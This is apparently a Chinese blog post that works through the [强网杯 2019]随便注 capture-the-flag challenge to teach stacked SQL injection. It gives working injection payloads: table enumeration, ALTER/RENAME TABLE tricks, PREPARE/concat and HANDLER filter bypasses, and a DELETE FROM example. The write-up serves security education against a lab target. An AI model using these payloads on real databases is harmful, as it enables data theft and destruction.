SQL注入之堆叠注入/预处理/handler-[强网杯 2019]随便注 1

堆叠注入介绍

所谓堆叠注入,就是把多条完整的SQL语句用分号分隔开,而不是用unionunion all连接起来。

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ;
结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union
injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union
all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE
FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where
productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

举例:[强网杯 2019]随便注 1

首先检查注入类型:字符注入

1' or 1=1 #

1
返回了所有数据,说明是字符型注入。

再次检查字段数

1' order by 2  #
# 返回正常数据

1' order by 3  #
# error 1054 : Unknown column '3' in 'order clause'
# 报错,说明只有2个字段

查看数据库

1' union select 1, database()  #

报错:
1
说明服务端脚本过滤了一些select、update语句,那就试试堆叠注入:

1';show databases;#

1
找到数据库:supersqli。

查看数据表

1';show tables;#

1
找到两张表:1919810931114514、words。

查看表字段名

1';show columns from words;#
1';show columns from `1919810931114514`;#

1
从表结构可以知道前端?inject=1显示的是words表的数据。

1

获取flag

现在无法用SELECT来查询flag,只能通过修改表明和表结构,改成words表明。因为有GET请求中的id,所以表结构里必须包含id。
首先改一下1919810931114514的表结构:

1';ALTER TABLE `1919810931114514` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#

查一下此表结构,是否变换:
1
为了前端能显示出来,改名为’words’,原来的words表改为words2:

1';RENAME TABLE `words` TO `words2`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#

查看flag:

1' or 1=1 #

1

预处理绕过select限制

1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#

1

handler绕过

';handler `1919810931114514` open;handler `1919810931114514` read first#

1

本地环境搭建

https://github.com/CTFTraining/qwb_2019_supersqli

参考

堆叠注入

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小龙在山东

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值